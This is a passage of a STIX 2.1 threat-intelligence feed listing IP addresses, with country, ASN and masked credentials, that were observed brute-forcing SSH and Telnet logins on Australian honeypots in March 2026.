      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 6147. Organisation(s): INTEGRATEL PERU S.A.A..",
      "id": "indicator--d7bb97f1-6baf-43c4-b4e4-8f4fbf47bc38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.79.37.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--72f1fcd6-87b4-41ea-ba78-6a3363f5a171",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.128.31.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--175ef817-efaf-4648-9b1d-910a32ea2b7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--416b0e3e-deaa-4750-b335-9eb306abdad0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r***c. Passwords observed (masked): r*******4.",
      "id": "indicator--fc640bac-1367-45dc-8c30-2319e4f5a393",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.222.168.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Overcasts Limited. Usernames observed (masked): ***, 3**********4, q****y. Passwords observed (masked): *, 3***********4, 3**********4, p******d.",
      "id": "indicator--9137de74-b08c-4b5f-b9fe-dc6aea8846b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.116.78.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T19:15:14.000Z",
      "valid_until": "2026-04-20T19:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc..",
      "id": "indicator--5708c9b4-a95b-43ac-980c-be3111de5b1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '133.88.122.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IQ. ASN(s): 203217. Organisation(s): Horizon Scope Mobile Telecom WLL. Usernames observed (masked): s***m, 3**********4, c*****p, e**n, k***n. Passwords observed (masked): 1****6, 3***********4, 3**********4, P******3, a*******3.",
      "id": "indicator--ac09bcab-c2d1-4c26-84f5-3a5638dc88c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.124.158.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--28ccd618-0eaa-4937-87d9-25713cc70c83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f4dfe12b-affc-4b32-b38c-07f4944feb5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--bef708f8-fc3f-40e4-a303-eb060bc1986f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.127.157.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): *, !******r.",
      "id": "indicator--ab497b6c-5b6f-49e0-aa5b-f6965731d426",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.236.199.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): ***, 3**********4, l****e, o**z, q*****r. Passwords observed (masked): 1***5, 1******d, 3***********4, 3**********4, P******d.",
      "id": "indicator--9b358dfd-86c3-4182-9db8-74ee70b5d2b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.204.74.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--75144338-260c-4330-b046-7b03e62120d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 252. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): 3**********4, ***, p******s, e**r, j**n. Passwords observed (masked): 3**********4, 3***********4, *, E*****3, M***3.",
      "id": "indicator--1c4e3b56-16d5-46da-8cfc-256d68045473",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.182.116.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T20:15:14.000Z",
      "valid_until": "2026-04-20T20:15:12.000Z"
    },
    {
      "created": "2026-03-19T21:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--e6187865-558b-4c45-8875-95d377cbd34f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.107.185.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T21:15:15.000Z",
      "valid_until": "2026-04-20T21:15:12.000Z"
    },
    {
      "created": "2026-03-19T21:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263774. Organisation(s): MARANDU COMUNICACIONES SOCIEDAD DEL ESTADO.",
      "id": "indicator--b20228c1-4fe0-434e-927d-617a2083112e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.83.126.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T21:15:15.000Z",
      "valid_until": "2026-04-20T21:15:12.000Z"
    },
    {
      "created": "2026-03-19T21:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 29582. Organisation(s): Optisprint OOD. Usernames observed (masked): r**t, ***, 3**********4, a***r, l**s. Passwords observed (masked): 1***5, 1**9, ***, 3***********4, 3**********4.",
      "id": "indicator--f516eac1-03dd-4c15-90fe-23293ab1d769",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T21:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.233.136.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T21:15:15.000Z",
      "valid_until": "2026-04-20T21:15:12.000Z"
    },
    {
      "created": "2026-03-19T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 12735. Organisation(s): TurkNet Iletisim Hizmetleri A.S.. Usernames observed (masked): r**t, f***e, 3**********4, ***, m***p. Passwords observed (masked): 1****6, 1***5, 1**********c, 3***********4, 3**********4.",
      "id": "indicator--1cedcb6d-de7d-4ffa-943a-c9dd8c510a65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.146.11.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T22:15:05.000Z",
      "valid_until": "2026-04-20T22:15:02.000Z"
    },
    {
      "created": "2026-03-19T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c770c341-09a7-4017-9a9b-9444e40c971d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.202.118.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T22:15:05.000Z",
      "valid_until": "2026-04-20T22:15:02.000Z"
    },
    {
      "created": "2026-03-19T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 55. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, p******d.",
      "id": "indicator--2aaec2df-3711-4015-b6ec-df7311bb0271",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.73.196.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T23:15:04.000Z",
      "valid_until": "2026-04-20T23:15:02.000Z"
    },
    {
      "created": "2026-03-19T23:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--90e30cb3-333b-4819-9218-1e7cd86d8e4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.210.52.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T23:15:04.000Z",
      "valid_until": "2026-04-20T23:15:02.000Z"
    },
    {
      "created": "2026-03-19T23:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AT. ASN(s): 174. Organisation(s): Cogent Communications, LLC.",
      "id": "indicator--6f170d19-b760-4fd6-851c-0901c289fefe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.59.22.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T23:15:04.000Z",
      "valid_until": "2026-04-20T23:15:02.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): 3**********4, ***, b****a, ***, f******n. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1******8.",
      "id": "indicator--d563d3ad-2128-4df8-87c1-4577bb672274",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.238.114.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--a1079830-f872-4b74-aa78-1aab43bb95b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.29.70.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--2a46105c-2678-42c1-96db-cadfb474b06e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.97.214.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 49. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3025e2c5-57ee-4117-9bb0-9ea18b7b39d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r******r. Passwords observed (masked): 1**4.",
      "id": "indicator--e51bbbd2-a759-4262-9557-43d9ed2c9eb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.118.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 152672. Organisation(s): Aiyun HK Network. Usernames observed (masked): m*****l, p*****r, r**t. Passwords observed (masked): 1**5, m*********5, p*********!.",
      "id": "indicator--1a12ae29-7c6f-4f98-a50b-3d062c664e97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.5.79.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 27831. Organisation(s): Colombia Movil. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--1ad700b3-84c8-4578-8fe1-40dfb4507bd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.204.16.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--9a4c7cb3-b76a-439e-a921-53012bc83a39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.212.244.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): ***. Passwords observed (masked): 1****6.",
      "id": "indicator--d07f54dc-141d-4740-bdb1-1bcb42b6fa03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.86.170.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--cd2b7ca6-277a-46a9-b546-a7f23d16ca52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '98.117.87.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T00:15:14.000Z",
      "valid_until": "2026-04-21T00:15:12.000Z"
    },
    {
      "created": "2026-03-20T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): b****n, r**t. Passwords observed (masked): b**********n, q**************$.",
      "id": "indicator--d6d59b67-b8fc-4510-a9aa-8b8bc26dacd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.234.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:15:14.000Z",
      "valid_until": "2026-04-21T01:15:12.000Z"
    },
    {
      "created": "2026-03-20T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--c2d7370b-ff37-4079-b44b-f942c85e5a03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.104.11.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T01:15:14.000Z",
      "valid_until": "2026-04-21T01:15:12.000Z"
    },
    {
      "created": "2026-03-20T01:15:14.000Z",
